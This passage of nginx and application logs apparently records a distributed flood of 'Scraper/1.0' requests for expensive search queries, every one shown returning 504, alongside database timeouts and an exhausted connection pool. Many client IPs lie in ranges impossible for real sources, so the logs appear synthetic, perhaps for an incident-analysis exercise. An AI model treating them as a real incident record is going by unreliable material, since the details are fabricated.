"Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 72.11.77.170 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 472 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 171.130.2.82 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 497 "-" "Scraper/1.0" +Aug 15 14:35:21 web-app-nginx 254.156.23.199 - - [15/Aug/2025:14:35:21 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 178 "-" "Scraper/1.0" +Aug 15 14:35:20 web-app-nginx 69.213.98.121 - - [15/Aug/2025:14:35:20 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 296 "-" "Scraper/1.0" +Aug 15 14:35:23 web-app-nginx 238.5.135.165 - - [15/Aug/2025:14:35:23 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 244 "-" "Scraper/1.0" +Aug 15 14:35:20 web-app-nginx 193.69.145.202 - - [15/Aug/2025:14:35:20 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 405 "-" "Scraper/1.0" +Aug 15 14:35:21 web-app-nginx 190.254.115.163 - - [15/Aug/2025:14:35:21 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 410 "-" "Scraper/1.0" +Aug 15 14:35:23 web-app-nginx 228.34.70.208 - - [15/Aug/2025:14:35:23 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 217 "-" "Scraper/1.0" +Aug 15 14:35:24 web-app-nginx 80.128.145.96 - - [15/Aug/2025:14:35:24 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 246 "-" "Scraper/1.0" +Aug 15 14:35:23 web-app-nginx 250.185.254.81 - - [15/Aug/2025:14:35:23 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 462 "-" "Scraper/1.0" +Aug 15 14:35:22 web-app-nginx 221.234.253.77 - - [15/Aug/2025:14:35:22 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 300 "-" "Scraper/1.0" +Aug 15 14:35:23 web-app-nginx 5.206.180.206 - - [15/Aug/2025:14:35:23 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 146 "-" "Scraper/1.0" +Aug 15 14:35:21 web-app-nginx 196.200.53.62 - - [15/Aug/2025:14:35:21 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 107 "-" "Scraper/1.0" +Aug 15 14:35:21 web-app-nginx 33.193.133.234 - - [15/Aug/2025:14:35:21 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 189 "-" "Scraper/1.0" +Aug 15 14:35:24 web-app-nginx 115.16.125.76 - - [15/Aug/2025:14:35:24 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 143 "-" "Scraper/1.0" +2025-08-15T14:35:24.988Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:35:26 web-app-nginx 192.168.179.26 - - [15/Aug/2025:14:35:26 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 434 "-" "Scraper/1.0" +Aug 15 14:35:26 web-app-nginx 50.80.101.84 - - [15/Aug/2025:14:35:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 339 "-" "Scraper/1.0" +Aug 15 14:35:26 web-app-nginx 215.215.48.91 - - [15/Aug/2025:14:35:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 184 "-" "Scraper/1.0" +Aug 15 14:35:29 web-app-nginx 57.148.128.125 - - [15/Aug/2025:14:35:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 353 "-" "Scraper/1.0" +Aug 15 14:35:29 web-app-nginx 12.131.27.113 - - [15/Aug/2025:14:35:29 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 275 "-" "Scraper/1.0" +Aug 15 14:35:28 web-app-nginx 112.197.141.131 - - [15/Aug/2025:14:35:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 325 "-" "Scraper/1.0" +Aug 15 14:35:26 web-app-nginx 27.6.194.213 - - [15/Aug/2025:14:35:26 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 290 "-" "Scraper/1.0" +Aug 15 14:35:27 web-app-nginx 76.129.238.145 - - [15/Aug/2025:14:35:27 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 362 "-" "Scraper/1.0" +Aug 15 14:35:26 web-app-nginx 113.240.32.76 - - [15/Aug/2025:14:35:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 104 "-" "Scraper/1.0" +Aug 15 14:35:28 web-app-nginx 43.138.139.207 - - [15/Aug/2025:14:35:28 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 100 "-" "Scraper/1.0" +Aug 15 14:35:26 web-app-nginx 65.16.20.48 - - [15/Aug/2025:14:35:26 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 218 "-" "Scraper/1.0" +Aug 15 14:35:27 web-app-nginx 21.81.134.225 - - [15/Aug/2025:14:35:27 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 261 "-" "Scraper/1.0" +Aug 15 14:35:29 web-app-nginx 121.62.150.80 - - [15/Aug/2025:14:35:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 374 "-" "Scraper/1.0" +Aug 15 14:35:28 web-app[3456]: ERROR: Database connection timeout +Aug 15 14:35:31 web-app-nginx 121.215.5.203 - - [15/Aug/2025:14:35:31 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 252 "-" "Scraper/1.0" +Aug 15 14:35:32 web-app-nginx 200.144.138.38 - - [15/Aug/2025:14:35:32 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 205 "-" "Scraper/1.0" +Aug 15 14:35:33 web-app-nginx 223.118.7.205 - - [15/Aug/2025:14:35:33 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 387 "-" "Scraper/1.0" +Aug 15 14:35:32 web-app-nginx 76.42.10.175 - - [15/Aug/2025:14:35:32 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 192 "-" "Scraper/1.0" +Aug 15 14:35:32 web-app-nginx 146.213.154.77 - - [15/Aug/2025:14:35:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 401 "-" "Scraper/1.0" +Aug 15 14:35:34 web-app-nginx 107.56.39.167 - - [15/Aug/2025:14:35:34 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 309 "-" "Scraper/1.0" +Aug 15 14:35:30 web-app-nginx 14.26.102.96 - - [15/Aug/2025:14:35:30 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 222 "-" "Scraper/1.0" +Aug 15 14:35:34 web-app-nginx 9.199.55.107 - - [15/Aug/2025:14:35:34 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 367 "-" "Scraper/1.0" +Aug 15 14:35:33 web-app-nginx 32.250.247.140 - - [15/Aug/2025:14:35:33 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 312 "-" "Scraper/1.0" +Aug 15 14:35:33 web-app-nginx 168.86.64.249 - - [15/Aug/2025:14:35:33 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 298 "-" "Scraper/1.0" +Aug 15 14:35:30 web-app-nginx 92.253.23.60 - - [15/Aug/2025:14:35:30 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 342 "-" "Scraper/1.0" +Aug 15 14:35:31 web-app-nginx 93.25.175.70 - - [15/Aug/2025:14:35:31 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 488 "-" "Scraper/1.0" +Aug 15 14:35:30 web-app-nginx 184.160.224.60 - - [15/Aug/2025:14:35:30 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 352 "-" "Scraper/1.0" +Aug 15 14:35:32 web-app-nginx 251.163.189.120 - - [15/Aug/2025:14:35:32 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 318 "-" "Scraper/1.0" +Aug 15 14:35:35 web-app-nginx 94.169.142.92 - - [15/Aug/2025:14:35:35 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 118 "-" "Scraper/1.0" +Aug 15 14:35:36 web-app-nginx 93.121.9.237 - - [15/Aug/2025:14:35:36 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 311 "-" "Scraper/1.0" +Aug 15 14:35:38 web-app-nginx 228.121.239.168 - - [15/Aug/2025:14:35:38 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 281 "-" "Scraper/1.0" +Aug 15 14:35:36 web-app-nginx 32.92.44.186 - - [15/Aug/2025:14:35:36 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 411 "-" "Scraper/1.0" +Aug 15 14:35:36 web-app-nginx 119.252.229.126 - - [15/Aug/2025:14:35:36 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 417 "-" "Scraper/1.0" +Aug 15 14:35:35 web-app-nginx 35.8.210.127 - - [15/Aug/2025:14:35:35 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 197 "-" "Scraper/1.0" +Aug 15 14:35:39 web-app-nginx 156.246.143.250 - - [15/Aug/2025:14:35:39 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 463 "-" "Scraper/1.0" +Aug 15 14:35:39 web-app-nginx 106.187.213.30 - - [15/Aug/2025:14:35:39 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 388 "-" "Scraper/1.0" +Aug 15 14:35:40 web-app-nginx 79.244.183.9 - - [15/Aug/2025:14:35:40 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 151 "-" "Scraper/1.0" +Aug 15 14:35:41 web-app-nginx 24.65.101.132 - - [15/Aug/2025:14:35:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 311 "-" "Scraper/1.0" +Aug 15 14:35:42 web-app-nginx 72.153.19.99 - - [15/Aug/2025:14:35:42 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 452 "-" "Scraper/1.0" +Aug 15 14:35:43 web-app-nginx 211.80.238.179 - - [15/Aug/2025:14:35:43 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 389 "-" "Scraper/1.0" +Aug 15 14:35:42 web-app-nginx 233.22.130.6 - - [15/Aug/2025:14:35:42 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 230 "-" "Scraper/1.0" +Aug 15 14:35:43 web-app-nginx 210.117.103.173 - - [15/Aug/2025:14:35:43 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 202 "-" "Scraper/1.0" +Aug 15 14:35:43 web-app-nginx 190.232.114.62 - - [15/Aug/2025:14:35:43 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 182 "-" "Scraper/1.0" +Aug 15 14:35:43 web-app-nginx 181.107.217.18 - - [15/Aug/2025:14:35:43 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 236 "-" "Scraper/1.0" +Aug 15 14:35:41 web-app-nginx 187.202.89.82 - - [15/Aug/2025:14:35:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 271 "-" "Scraper/1.0" +Aug 15 14:35:40 web-app-nginx 64.101.122.142 - - [15/Aug/2025:14:35:40 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 168 "-" "Scraper/1.0" +Aug 15 14:35:44 web-app-nginx 52.143.231.123 - - [15/Aug/2025:14:35:44 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 247 "-" "Scraper/1.0" +Aug 15 14:35:40 web-app-nginx 179.63.24.53 - - [15/Aug/2025:14:35:40 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 471 "-" "Scraper/1.0" +Aug 15 14:35:40 web-app-nginx 176.96.251.53 - - [15/Aug/2025:14:35:40 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 389 "-" "Scraper/1.0" +Aug 15 14:35:43 web-app[3456]: ERROR: Maximum execution time of 300 seconds exceeded +Aug 15 14:35:46 web-app-nginx 62.73.205.71 - - [15/Aug/2025:14:35:46 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 248 "-" "Scraper/1.0" +Aug 15 14:35:45 web-app-nginx 66.201.202.209 - - [15/Aug/2025:14:35:45 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 285 "-" "Scraper/1.0" +Aug 15 14:35:48 web-app-nginx 231.116.38.90 - - [15/Aug/2025:14:35:48 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 384 "-" "Scraper/1.0" +Aug 15 14:35:47 web-app-nginx 147.152.21.207 - - [15/Aug/2025:14:35:47 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 403 "-" "Scraper/1.0" +Aug 15 14:35:48 web-app-nginx 75.235.94.21 - - [15/Aug/2025:14:35:48 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 104 "-" "Scraper/1.0" +Aug 15 14:35:47 web-app-nginx 163.80.127.200 - - [15/Aug/2025:14:35:47 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 239 "-" "Scraper/1.0" +Aug 15 14:35:49 web-app-nginx 5.136.229.88 - - [15/Aug/2025:14:35:49 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 167 "-" "Scraper/1.0" +Aug 15 14:35:49 web-app-nginx 60.94.245.248 - - [15/Aug/2025:14:35:49 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 428 "-" "Scraper/1.0" +Aug 15 14:35:45 web-app-nginx 211.246.221.83 - - [15/Aug/2025:14:35:45 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 445 "-" "Scraper/1.0" +Aug 15 14:35:47 web-app-nginx 153.139.248.86 - - [15/Aug/2025:14:35:47 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 471 "-" "Scraper/1.0" +Aug 15 14:35:47 web-app-nginx 155.174.52.188 - - [15/Aug/2025:14:35:47 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 306 "-" "Scraper/1.0" +Aug 15 14:35:48 web-app-nginx 115.208.225.140 - - [15/Aug/2025:14:35:48 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 104 "-" "Scraper/1.0" +Aug 15 14:35:49 web-app-nginx 30.66.26.3 - - [15/Aug/2025:14:35:49 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 461 "-" "Scraper/1.0" +Aug 15 14:35:46 web-app-nginx 58.191.53.151 - - [15/Aug/2025:14:35:46 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 145 "-" "Scraper/1.0" +Aug 15 14:35:48 web-app-nginx 212.231.193.242 - - [15/Aug/2025:14:35:48 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 466 "-" "Scraper/1.0" +2025-08-15T14:35:49.262Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:35:51 web-app-nginx 96.22.225.174 - - [15/Aug/2025:14:35:51 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 239 "-" "Scraper/1.0" +Aug 15 14:35:52 web-app-nginx 213.15.83.27 - - [15/Aug/2025:14:35:52 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 121 "-" "Scraper/1.0" +Aug 15 14:35:54 web-app-nginx 141.30.37.171 - - [15/Aug/2025:14:35:54 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 272 "-" "Scraper/1.0" +Aug 15 14:35:50 web-app-nginx 172.175.46.59 - - [15/Aug/2025:14:35:50 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 248 "-" "Scraper/1.0" +Aug 15 14:35:53 web-app-nginx 66.211.204.9 - - [15/Aug/2025:14:35:53 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 419 "-" "Scraper/1.0" +Aug 15 14:35:52 web-app-nginx 97.219.201.123 - - [15/Aug/2025:14:35:52 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 327 "-" "Scraper/1.0" +Aug 15 14:35:51 web-app-nginx 34.159.155.36 - - [15/Aug/2025:14:35:51 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 179 "-" "Scraper/1.0" +Aug 15 14:35:52 web-app-nginx 138.106.76.189 - - [15/Aug/2025:14:35:52 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 285 "-" "Scraper/1.0" +Aug 15 14:35:54 web-app-nginx 183.20.33.35 - - [15/Aug/2025:14:35:54 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 154 "-" "Scraper/1.0" +Aug 15 14:35:55 web-app-nginx 109.101.216.81 - - [15/Aug/2025:14:35:55 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 298 "-" "Scraper/1.0" +Aug 15 14:35:57 web-app-nginx 181.58.130.114 - - [15/Aug/2025:14:35:57 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 410 "-" "Scraper/1.0" +Aug 15 14:35:57 web-app-nginx 13.35.220.124 - - [15/Aug/2025:14:35:57 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 236 "-" "Scraper/1.0" +Aug 15 14:35:57 web-app-nginx 71.113.199.157 - - [15/Aug/2025:14:35:57 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 385 "-" "Scraper/1.0" +Aug 15 14:35:55 web-app-nginx 181.175.239.26 - - [15/Aug/2025:14:35:55 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 250 "-" "Scraper/1.0" +Aug 15 14:35:59 web-app-nginx 109.134.214.104 - - [15/Aug/2025:14:35:59 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 218 "-" "Scraper/1.0" +Aug 15 14:35:57 web-app-nginx 161.43.211.20 - - [15/Aug/2025:14:35:57 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 434 "-" "Scraper/1.0" +Aug 15 14:35:58 web-app-nginx 22.190.31.207 - - [15/Aug/2025:14:35:58 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 310 "-" "Scraper/1.0" +Aug 15 14:35:59 web-app[3456]: ERROR: Maximum execution time of 300 seconds exceeded +Aug 15 14:36:04 web-app-nginx 15.147.135.204 - - [15/Aug/2025:14:36:04 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 124 "-" "Scraper/1.0" +Aug 15 14:36:04 web-app-nginx 17.218.97.129 - - [15/Aug/2025:14:36:04 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 229 "-" "Scraper/1.0" +Aug 15 14:36:04 web-app-nginx 72.234.156.142 - - [15/Aug/2025:14:36:04 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 497 "-" "Scraper/1.0" +Aug 15 14:36:01 web-app-nginx 199.71.4.120 - - [15/Aug/2025:14:36:01 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 313 "-" "Scraper/1.0" +Aug 15 14:36:03 web-app-nginx 57.20.198.46 - - [15/Aug/2025:14:36:03 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 138 "-" "Scraper/1.0" +Aug 15 14:36:02 web-app-nginx 18.61.197.172 - - [15/Aug/2025:14:36:02 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 480 "-" "Scraper/1.0" +Aug 15 14:36:03 web-app-nginx 77.98.228.179 - - [15/Aug/2025:14:36:03 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 133 "-" "Scraper/1.0" +Aug 15 14:36:04 web-app-nginx 150.165.243.63 - - [15/Aug/2025:14:36:04 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 179 "-" "Scraper/1.0" +Aug 15 14:36:00 web-app-nginx 200.251.188.55 - - [15/Aug/2025:14:36:00 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 124 "-" "Scraper/1.0" +Aug 15 14:36:07 web-app-nginx 199.98.180.167 - - [15/Aug/2025:14:36:07 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 266 "-" "Scraper/1.0" +Aug 15 14:36:07 web-app-nginx 125.251.219.173 - - [15/Aug/2025:14:36:07 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 157 "-" "Scraper/1.0" +Aug 15 14:36:05 web-app-nginx 77.75.21.2 - - [15/Aug/2025:14:36:05 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 464 "-" "Scraper/1.0" +Aug 15 14:36:09 web-app-nginx 37.3.95.39 - - [15/Aug/2025:14:36:09 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 345 "-" "Scraper/1.0" +Aug 15 14:36:07 web-app-nginx 189.246.204.15 - - [15/Aug/2025:14:36:07 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 103 "-" "Scraper/1.0" +Aug 15 14:36:09 web-app-nginx 246.9.230.180 - - [15/Aug/2025:14:36:09 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 486 "-" "Scraper/1.0" +Aug 15 14:36:09 web-app-nginx 211.132.246.97 - - [15/Aug/2025:14:36:09 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 499 "-" "Scraper/1.0" +Aug 15 14:36:08 web-app-nginx 53.12.89.66 - - [15/Aug/2025:14:36:08 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 144 "-" "Scraper/1.0" +Aug 15 14:36:06 web-app-nginx 204.35.157.129 - - [15/Aug/2025:14:36:06 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 242 "-" "Scraper/1.0" +Aug 15 14:36:05 web-app-nginx 78.84.249.80 - - [15/Aug/2025:14:36:05 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 343 "-" "Scraper/1.0" +Aug 15 14:36:06 web-app-nginx 37.248.103.55 - - [15/Aug/2025:14:36:06 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 159 "-" "Scraper/1.0" +Aug 15 14:36:06 web-app-nginx 244.64.160.209 - - [15/Aug/2025:14:36:06 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 399 "-" "Scraper/1.0" +Aug 15 14:36:06 web-app-nginx 45.131.74.200 - - [15/Aug/2025:14:36:06 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 383 "-" "Scraper/1.0" +Aug 15 14:36:10 web-app-nginx 17.67.205.231 - - [15/Aug/2025:14:36:10 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 405 "-" "Scraper/1.0" +Aug 15 14:36:12 web-app-nginx 71.161.224.23 - - [15/Aug/2025:14:36:12 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 337 "-" "Scraper/1.0" +Aug 15 14:36:10 web-app-nginx 253.33.244.106 - - [15/Aug/2025:14:36:10 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 454 "-" "Scraper/1.0" +Aug 15 14:36:14 web-app-nginx 242.204.218.176 - - [15/Aug/2025:14:36:14 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 354 "-" "Scraper/1.0" +Aug 15 14:36:12 web-app-nginx 14.95.64.201 - - [15/Aug/2025:14:36:12 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 203 "-" "Scraper/1.0" +Aug 15 14:36:10 web-app-nginx 214.226.58.20 - - [15/Aug/2025:14:36:10 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 450 "-" "Scraper/1.0" +Aug 15 14:36:12 web-app-nginx 50.240.204.142 - - [15/Aug/2025:14:36:12 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 120 "-" "Scraper/1.0" +Aug 15 14:36:12 web-app-nginx 235.7.140.25 - - [15/Aug/2025:14:36:12 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 400 "-" "Scraper/1.0" +Aug 15 14:36:14 web-app[3456]: CRITICAL: Connection pool exhausted +2025-08-15T14:36:14.698Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:36:18 web-app-nginx 50.227.84.235 - - [15/Aug/2025:14:36:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 266 "-" "Scraper/1.0" +Aug 15 14:36:15 web-app-nginx 231.60.121.201 - - [15/Aug/2025:14:36:15 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 465 "-" "Scraper/1.0" +Aug 15 14:36:19 web-app-nginx 70.70.198.108 - - [15/Aug/2025:14:36:19 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 109 "-" "Scraper/1.0" +Aug 15 14:36:16 web-app-nginx 104.148.182.45 - - [15/Aug/2025:14:36:16 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 149 "-" "Scraper/1.0" +Aug 15 14:36:17 web-app-nginx 186.100.125.162 - - [15/Aug/2025:14:36:17 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 460 "-" "Scraper/1.0" +Aug 15 14:36:15 web-app-nginx 85.146.89.234 - - [15/Aug/2025:14:36:15 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 420 "-" "Scraper/1.0" +Aug 15 14:36:19 web-app-nginx 141.195.23.69 - - [15/Aug/2025:14:36:19 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 272 "-" "Scraper/1.0" +Aug 15 14:36:15 web-app-nginx 146.153.224.202 - - [15/Aug/2025:14:36:15 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 314 "-" "Scraper/1.0" +Aug 15 14:36:15 web-app-nginx 184.192.76.36 - - [15/Aug/2025:14:36:15 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 499 "-" "Scraper/1.0" +Aug 15 14:36:15 web-app-nginx 3.183.5.162 - - [15/Aug/2025:14:36:15 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 122 "-" "Scraper/1.0" +Aug 15 14:36:18 web-app-nginx 178.112.46.168 - - [15/Aug/2025:14:36:18 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 369 "-" "Scraper/1.0" +Aug 15 14:36:16 web-app-nginx 79.150.106.5 - - [15/Aug/2025:14:36:16 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 251 "-" "Scraper/1.0" +Aug 15 14:36:15 web-app-nginx 112.75.173.211 - - [15/Aug/2025:14:36:15 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 161 "-" "Scraper/1.0" +Aug 15 14:36:18 web-app-nginx 246.195.211.239 - - [15/Aug/2025:14:36:18 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 374 "-" "Scraper/1.0" +Aug 15 14:36:18 web-app-nginx 228.124.104.176 - - [15/Aug/2025:14:36:18 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 231 "-" "Scraper/1.0" +Aug 15 14:36:21 web-app-nginx 198.136.10.187 - - [15/Aug/2025:14:36:21 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 127 "-" "Scraper/1.0" +Aug 15 14:36:22 web-app-nginx 117.186.239.239 - - [15/Aug/2025:14:36:22 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 143 "-" "Scraper/1.0" +Aug 15 14:36:21 web-app-nginx 191.104.145.104 - - [15/Aug/2025:14:36:21 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 288 "-" "Scraper/1.0" +Aug 15 14:36:22 web-app-nginx 184.39.27.88 - - [15/Aug/2025:14:36:22 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 